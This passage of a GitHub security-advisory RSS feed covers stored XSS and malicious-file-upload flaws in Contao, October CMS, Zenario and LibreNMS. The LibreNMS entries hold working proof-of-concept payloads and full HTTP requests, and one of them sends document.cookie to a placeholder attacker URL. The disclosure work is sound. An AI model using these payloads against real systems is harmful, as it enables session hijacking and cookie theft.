        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/sulu/sulu/commit/ca72f75eebe41ea7726624d8aea7da6c425f1eb9/hovercard&quot; href=&quot;https://github.com/sulu/sulu/commit/ca72f75eebe41ea7726624d8aea7da6c425f1eb9&quot;&gt;sulu/sulu@&lt;tt&gt;ca72f75&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-255w-87rh-rg44</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-255w-87rh-rg44</guid>
      <pubDate>Thu, 03 Oct 2024 18:25:40 GMT</pubDate>
    </item>
    <item>
      <title>Contao allows admin an account to upload SVG file containing malicious JavaScript</title>
      <description>&lt;p&gt;Contao 5.4.1 allows an authenticated admin account to upload a SVG file containing malicious javascript code into the target system. If the file is accessed through the website, it could lead to a Cross-Site Scripting (XSS) attack or execute arbitrary code via a crafted javascript to the target.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45965&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45965&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://grimthereaperteam.medium.com/contao-5-4-1-malicious-file-upload-xss-in-svg-30edb8820ecb&quot; rel=&quot;nofollow&quot;&gt;https://grimthereaperteam.medium.com/contao-5-4-1-malicious-file-upload-xss-in-svg-30edb8820ecb&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-mrw8-5368-phm3</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-mrw8-5368-phm3</guid>
      <pubDate>Wed, 02 Oct 2024 21:30:36 GMT</pubDate>
    </item>
    <item>
      <title>October allows an admin account to upload PDF containing malicious JavaScript</title>
      <description>&lt;p&gt;October 3.6.30 allows an authenticated admin account to upload a PDF file containing malicious JavaScript into the target system. If the file is accessed through the website, it could lead to a Cross-Site Scripting (XSS) attack or execute arbitrary code via a crafted JavaScript to the target.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45962&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45962&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://grimthereaperteam.medium.com/october-cms-3-6-30-stored-xss-ddf2be7a226e&quot; rel=&quot;nofollow&quot;&gt;https://grimthereaperteam.medium.com/october-cms-3-6-30-stored-xss-ddf2be7a226e&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hxpp-g76m-qhvg</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hxpp-g76m-qhvg</guid>
      <pubDate>Wed, 02 Oct 2024 21:30:35 GMT</pubDate>
    </item>
    <item>
      <title>Zenario allows authenticated admin users to upload PDF files containing malicious code</title>
      <description>&lt;p&gt;Zenario 9.7.61188 allows authenticated admin users to upload PDF files containing malicious code into the target system. If the PDF file is accessed through the website, it can trigger a Cross Site Scripting (XSS) attack.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45960&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45960&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://grimthereaperteam.medium.com/zenario-9-7-9-7-61188-malicious-file-upload-xss-in-pdf-eb11729fe059&quot; rel=&quot;nofollow&quot;&gt;https://grimthereaperteam.medium.com/zenario-9-7-9-7-61188-malicious-file-upload-xss-in-pdf-eb11729fe059&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-3636-hx62-pv26</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-3636-hx62-pv26</guid>
      <pubDate>Wed, 02 Oct 2024 21:30:35 GMT</pubDate>
    </item>
    <item>
      <title>Zenario Cross Site Scripting in the Image library</title>
      <description>&lt;p&gt;Zenario 9.7.61188 is vulnerable to Cross Site Scripting (XSS) in the Image library via the &quot;Organizer tags&quot; field.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45964&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45964&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://grimthereaperteam.medium.com/zenario-9-7-61188-reflect-xss-bee4ab9187e7&quot; rel=&quot;nofollow&quot;&gt;https://grimthereaperteam.medium.com/zenario-9-7-61188-reflect-xss-bee4ab9187e7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-2cc5-429x-p387</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-2cc5-429x-p387</guid>
      <pubDate>Wed, 02 Oct 2024 21:30:35 GMT</pubDate>
    </item>
    <item>
      <title>LibreNMS vulnerable to Stored Cross-site Scripting via File Upload</title>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Stored Cross-Site Scripting (XSS) can archive via Uploading a new Background for a Custom Map.&lt;/p&gt;
        &lt;h3&gt;Details&lt;/h3&gt;
        &lt;p&gt;Users with &quot;admin&quot; role can set background for a custom map, this allow the upload of SVG file that can contain XSS payload which will trigger onload. This led to Stored Cross-Site Scripting (XSS).&lt;/p&gt;
        &lt;h3&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;
        &lt;p&gt;Login using an Admin role account.&lt;/p&gt;
        &lt;/li&gt;
        &lt;li&gt;
        &lt;p&gt;Go over to &quot;$URL/maps/custom&quot;, the Manage Custom Maps.&lt;br&gt;
        &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/user-attachments/assets/9d621532-7880-4010-b12d-efd377f0cfdd&quot;&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/9d621532-7880-4010-b12d-efd377f0cfdd&quot; alt=&quot;image&quot; style=&quot;max-width: 100%;&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;
        &lt;/li&gt;
        &lt;li&gt;
        &lt;p&gt;Create a new map then choose to edit it.&lt;/p&gt;
        &lt;/li&gt;
        &lt;li&gt;
        &lt;p&gt;Choose the &quot;Set Background&quot; option.&lt;br&gt;
        &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/user-attachments/assets/dc2e9453-ef3e-4649-a42f-60b7a2ad8189&quot;&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/dc2e9453-ef3e-4649-a42f-60b7a2ad8189&quot; alt=&quot;image&quot; style=&quot;max-width: 100%;&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;
        &lt;/li&gt;
        &lt;li&gt;
        &lt;p&gt;Choose to upload a SVG file that have this content.&lt;/p&gt;
        &lt;/li&gt;
        &lt;/ol&gt;
        &lt;div class=&quot;highlight highlight-text-xml-svg&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;svg&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;xmlns&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;http://www.w3.org/2000/svg&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;onload&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;alert(document.domain)&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&amp;gt;
        &amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;circle&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;cx&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;50&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;cy&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;50&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;r&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;40&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; /&amp;gt;
        &amp;lt;/&lt;span class=&quot;pl-ent&quot;&gt;svg&lt;/span&gt;&amp;gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;ol start=&quot;6&quot;&gt;
        &lt;li&gt;
        &lt;p&gt;Once uploaded, there should be a link to the SVG return in the POST request to the API &quot;$URL/maps/custom/1/background&quot;.&lt;br&gt;
        &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/user-attachments/assets/dc224960-0bd3-42c9-ad49-2ec85b065939&quot;&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/dc224960-0bd3-42c9-ad49-2ec85b065939&quot; alt=&quot;image&quot; style=&quot;max-width: 100%;&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;
        &lt;/li&gt;
        &lt;li&gt;
        &lt;p&gt;Go over to that link on browser, should see a pop-up.&lt;br&gt;
        &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/user-attachments/assets/47a7db14-bd89-48fe-885a-fd80a052115e&quot;&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/47a7db14-bd89-48fe-885a-fd80a052115e&quot; alt=&quot;image&quot; style=&quot;max-width: 100%;&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;
        &lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Attacker can use this to perform malicious java script code for malicious intent.&lt;br&gt;
        This would impact other Admin role users and the Global Read role users. Normal users does not have permission to read the file, so they are not affected.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-x8gm-j36p-fppf&quot; href=&quot;https://github.com/librenms/librenms/security/advisories/GHSA-x8gm-j36p-fppf&quot;&gt;GHSA-x8gm-j36p-fppf&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47528&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47528&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/librenms/librenms/commit/d959bf1b366319eda16e3cd6dfda8a22beb203be/hovercard&quot; href=&quot;https://github.com/librenms/librenms/commit/d959bf1b366319eda16e3cd6dfda8a22beb203be&quot;&gt;librenms/librenms@&lt;tt&gt;d959bf1&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-x8gm-j36p-fppf</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-x8gm-j36p-fppf</guid>
      <pubDate>Tue, 01 Oct 2024 22:27:32 GMT</pubDate>
    </item>
    <item>
      <title>LibreNMS has Stored Cross-site Scripting vulnerability in &quot;Alert Transports&quot; feature</title>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
        &lt;p&gt;A Stored Cross-Site Scripting (XSS) vulnerability in the &quot;Alert Transports&quot; feature allows authenticated users to inject arbitrary JavaScript through the &quot;Details&quot; section (which contains multiple fields depending on which transport is selected at that moment). This vulnerability can lead to the execution of malicious code in the context of other users&#39; sessions, potentially compromising their accounts and allowing unauthorized actions.&lt;/p&gt;
        &lt;h3&gt;Details&lt;/h3&gt;
        &lt;p&gt;The vulnerability occurs when creating an alert transport. The application does not properly sanitize the user input in the &quot;Details&quot; field, allowing an attacker to inject and store arbitrary JavaScript. This script is then executed in the context of the page whenever the alert transport is viewed or processed.&lt;/p&gt;
        &lt;p&gt;For instance, the following payload can be used to trigger the XSS:&lt;br&gt;
        &lt;code class=&quot;notranslate&quot;&gt;test1&amp;lt;script&amp;gt;{onerror=alert}throw 1337&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;
        &lt;p&gt;When the page containing the transport details is loaded, this payload causes the browser to execute the injected script, which in this case triggers an alert popup.&lt;/p&gt;
        &lt;p&gt;The root cause of the vulnerability is that the application does not sanitize the value of $instance-&amp;gt;displayDetails before appending it to the HTML output. This is demonstrated in the following code:&lt;br&gt;
        &lt;a href=&quot;https://github.com/librenms/librenms/blob/4777247327c793ed0a3306d0464b95176008177b/includes/html/print-alert-transports.php#L40&quot;&gt;https://github.com/librenms/librenms/blob/4777247327c793ed0a3306d0464b95176008177b/includes/html/print-alert-transports.php#L40&lt;/a&gt;&lt;/p&gt;
        &lt;h3&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Create a new alert transport in the LibreNMS interface.&lt;/li&gt;
        &lt;li&gt;Depending on the transport chosen, just input the following payload in any field that ends up in the &quot;Details&quot; section:&lt;br&gt;
        &lt;code class=&quot;notranslate&quot;&gt;test1&amp;lt;script&amp;gt;{onerror=alert}throw 1337&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Save the transport and trigger the alert.&lt;/li&gt;
        &lt;li&gt;When the transport details are accessed, the injected script executes, displaying an alert popup.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;p&gt;Example Request:&lt;/p&gt;
        &lt;div class=&quot;highlight highlight-source-httpspec&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt; /ajax_form.php HTTP/1.1&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Host:&lt;/span&gt; &amp;lt;your_host&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;X-Requested-With:&lt;/span&gt; XMLHttpRequest&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;X-CSRF-TOKEN:&lt;/span&gt; &amp;lt;your_XSRF_token&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Content-Type:&lt;/span&gt; application/x-www-form-urlencoded; charset=UTF-8&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Cookie:&lt;/span&gt; &amp;lt;your_cookie&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;pl-ii&quot;&gt;_token=&amp;lt;your_token&amp;gt;&amp;amp;transport_id=2&amp;amp;type=alert-transports&amp;amp;name=Test1&amp;amp;transport-choice=canopsis-form&amp;amp;_token=Ep6belaqXe5qE301CGmtoOWJ71gvRfBXjRyhXEpH&amp;amp;transport-type=canopsis&amp;amp;canopsis-host=localhost%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E&amp;amp;canopsis-port=5000&amp;amp;canopsis-user=%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E&amp;amp;canopsis-pass=%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E&amp;amp;canopsis-vhost=%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;It could allow authenticated users to execute arbitrary JavaScript code in the context of other users&#39; sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-7f84-28qh-9486&quot; href=&quot;https://github.com/librenms/librenms/security/advisories/GHSA-7f84-28qh-9486&quot;&gt;GHSA-7f84-28qh-9486&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/librenms/librenms/commit/ee1afba003d33667981e098c83295f599d88439c/hovercard&quot; href=&quot;https://github.com/librenms/librenms/commit/ee1afba003d33667981e098c83295f599d88439c&quot;&gt;librenms/librenms@&lt;tt&gt;ee1afba&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/librenms/librenms/blob/4777247327c793ed0a3306d0464b95176008177b/includes/html/print-alert-transports.php#L40&quot;&gt;https://github.com/librenms/librenms/blob/4777247327c793ed0a3306d0464b95176008177b/includes/html/print-alert-transports.php#L40&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47523&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47523&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-7f84-28qh-9486</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-7f84-28qh-9486</guid>
      <pubDate>Tue, 01 Oct 2024 20:31:22 GMT</pubDate>
    </item>
    <item>
      <title>LibreNMS has Stored Cross-site Scripting vulnerability in &quot;Device Group&quot; Name</title>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
        &lt;p&gt;The application fail to sanitising inputs properly and rendering the code from user input to browser which allow an attacker to execute malicious javascript code.&lt;/p&gt;
        &lt;h3&gt;Details&lt;/h3&gt;
        &lt;p&gt;User with Admin role can create a Device Groups, the application did not properly sanitize the user input in the Device Groups name, when user see the detail of the Device Group, if java script code is inside the name of the Device Groups, its will be trigger.&lt;/p&gt;
        &lt;h3&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;
        &lt;p&gt;Login as an Admin role user. Then go over to &quot;$URL/device-groups&quot;&lt;/p&gt;
        &lt;/li&gt;
        &lt;li&gt;
        &lt;p&gt;Create a new Device Group with this payload in their name&lt;/p&gt;
        &lt;/li&gt;
        &lt;/ol&gt;
        &lt;div class=&quot;highlight highlight-source-js&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;pl-ent&quot;&gt;img&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;x&quot;&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;onerror&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;alert(document.cookie)&quot;&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/user-attachments/assets/2764b313-ee65-47e9-ab57-559d75f4575c&quot;&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/2764b313-ee65-47e9-ab57-559d75f4575c&quot; alt=&quot;image&quot; style=&quot;max-width: 100%;&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;
        &lt;ol start=&quot;3&quot;&gt;
        &lt;li&gt;Go over to the detail page of that Device Groups, in this case &quot;$URL/devices/group=2&quot;. Will see a pop-up.&lt;br&gt;
        &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/user-attachments/assets/f743ca74-5dcb-4e72-ac56-dda2b42e2986&quot;&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/f743ca74-5dcb-4e72-ac56-dda2b42e2986&quot; alt=&quot;image&quot; style=&quot;max-width: 100%;&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Attacker can use this to perform malicious java script code for malicious intent.&lt;br&gt;
        This would impact all users as anyone can have access to the detail page of the device group.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-fc38-2254-48g7&quot; href=&quot;https://github.com/librenms/librenms/security/advisories/GHSA-fc38-2254-48g7&quot;&gt;GHSA-fc38-2254-48g7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/librenms/librenms/commit/d3b51560a8e2343e520d16e9adc72c6951aa91ee/hovercard&quot; href=&quot;https://github.com/librenms/librenms/commit/d3b51560a8e2343e520d16e9adc72c6951aa91ee&quot;&gt;librenms/librenms@&lt;tt&gt;d3b5156&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47524&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47524&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-fc38-2254-48g7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-fc38-2254-48g7</guid>
      <pubDate>Tue, 01 Oct 2024 20:31:17 GMT</pubDate>
    </item>
    <item>
      <title>LibreNMS has Stored Cross-site Scripting vulnerability in &quot;Alert Rules&quot; feature</title>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
        &lt;p&gt;A Stored Cross-Site Scripting (XSS) vulnerability in the &quot;Alert Rules&quot; feature allows authenticated users to inject arbitrary JavaScript through the &quot;Title&quot; field. This vulnerability can lead to the execution of malicious code in the context of other users&#39; sessions, potentially compromising their accounts and allowing unauthorized actions.&lt;/p&gt;
        &lt;h3&gt;Details&lt;/h3&gt;
        &lt;p&gt;The vulnerability occurs when creating an alert rule. The application does not properly sanitize user inputs in the &quot;Title&quot; field, which allows an attacker to escape the attribute context where the title is injected (data-content). Despite some character restrictions, the attacker can still inject a payload that leverages available attributes on the div element to execute JavaScript automatically when the page loads.&lt;/p&gt;
        &lt;p&gt;For example, the following payload can be used:&lt;br&gt;
        &lt;code class=&quot;notranslate&quot;&gt;test1&#39;&#39; autofocus onfocus=&quot;document.location=&#39;https://&amp;lt;attacker-url&amp;gt;/logger.php?c=&#39;+document.cookie&quot;&lt;/code&gt;&lt;/p&gt;
        &lt;p&gt;This payload triggers the XSS when the affected page is loaded, automatically redirecting the user to the attacker&#39;s controlled domain with any non-httponly cookies present.&lt;/p&gt;
        &lt;p&gt;The vulnerability stems from the application not sanitizing the value of $rule[&#39;name&#39;] before adding it to the $enabled_msg variable. This is evident in the code:&lt;/p&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/print-alert-rules.php#L405&quot;&gt;https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/print-alert-rules.php#L405&lt;/a&gt;&lt;/p&gt;
        &lt;h3&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Create a new alert rule in the LibreNMS interface.&lt;/li&gt;
        &lt;li&gt;In the &quot;Title&quot; field, input the following payload:&lt;br&gt;
        &lt;code class=&quot;notranslate&quot;&gt;test1&#39;&#39; autofocus onfocus=&quot;document.location=&#39;https://&amp;lt;attacker-url&amp;gt;/logger.php?c=&#39;+document.cookie&quot;&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Save the rule and trigger the alert.&lt;/li&gt;
        &lt;li&gt;Observe that when the page loads, the injected JavaScript executes and redirects the user, sending their non-httponly cookies to the attacker&#39;s server.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;p&gt;Example Request:&lt;/p&gt;
        &lt;div class=&quot;highlight highlight-source-httpspec&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt; /ajax_form.php HTTP/1.1&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Host:&lt;/span&gt; &amp;lt;your_host&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;X-Requested-With:&lt;/span&gt; XMLHttpRequest&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;X-CSRF-TOKEN:&lt;/span&gt; &amp;lt;your_XSRF_token&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Content-Type:&lt;/span&gt; application/x-www-form-urlencoded; charset=UTF-8&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Cookie:&lt;/span&gt; &amp;lt;your_cookie&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;pl-ii&quot;&gt;_token=&amp;lt;your_token&amp;gt;&amp;amp;device_id=-1&amp;amp;device_name=invalid+hostname&amp;amp;rule_id=17&amp;amp;type=alert-rules&amp;amp;template_id=&amp;amp;builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22not_equal%22%2C%22value%22%3A%22test2&#39;%5C%22%22%7D%5D%2C%22valid%22%3Atrue%7D&amp;amp;name=test1&#39;&#39;+autofocus+onfocus%3D%22document.location%3D&#39;https%3A%2F%2F&amp;lt;attacker_url&amp;gt;%2Flogger.php%3Fc%3D&#39;%2Bdocument.cookie%22&amp;amp;builder_rule_0_filter=access_points.accesspoint_id&amp;amp;builder_rule_0_operator=not_equal&amp;amp;builder_rule_0_value_0=test2&#39;%22&amp;amp;severity=warning&amp;amp;count=1&amp;amp;delay=1m&amp;amp;interval=5m&amp;amp;recovery=on&amp;amp;acknowledgement=on&amp;amp;maps%5B%5D=1&amp;amp;proc=&amp;amp;notes=Test2&#39;%22&amp;amp;override_query=on&amp;amp;adv_query=select+&#39;test3&#39;%22&#39;%3B&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;It could allow authenticated users to execute arbitrary JavaScript code in the context of other users&#39; sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-j2j9-7pr6-xqwv&quot; href=&quot;https://github.com/librenms/librenms/security/advisories/GHSA-j2j9-7pr6-xqwv&quot;&gt;GHSA-j2j9-7pr6-xqwv&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/librenms/librenms/commit/7620d220e48563938d869da7689b8ac3f7721490/hovercard&quot; href=&quot;https://github.com/librenms/librenms/commit/7620d220e48563938d869da7689b8ac3f7721490&quot;&gt;librenms/librenms@&lt;tt&gt;7620d22&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/print-alert-rules.php#L405&quot;&gt;https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/print-alert-rules.php#L405&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47525&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47525&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-j2j9-7pr6-xqwv</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-j2j9-7pr6-xqwv</guid>
